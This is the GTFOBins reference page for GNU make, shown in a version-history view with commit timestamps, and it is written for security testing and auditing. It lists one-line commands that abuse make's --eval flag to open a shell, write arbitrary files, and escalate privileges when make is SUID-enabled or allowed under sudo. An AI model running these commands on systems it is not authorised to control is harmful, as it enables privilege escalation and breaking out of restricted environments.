GTFOBins.github.io/_gtfobins/make.md

22 lines
708 B
Markdown
Raw Normal View History

---
2018-07-16 15:01:50 +02:00
description: All these examples only work with GNU `make` due to the lack of support of the `--eval` flag. The same can be achieved by using a proper `Makefile` or by passing the content via stdin using `-f -`.
functions:
execute-interactive:
2018-07-16 15:01:50 +02:00
- code: |
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
file-write:
2018-07-16 15:01:50 +02:00
- description: Requires a newer GNU `make` version.
code: |
LFILE=file_to_write
make -s --eval="\$(file >$LFILE,data)" .
2018-07-04 20:26:52 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- code: |
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- code: |
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
---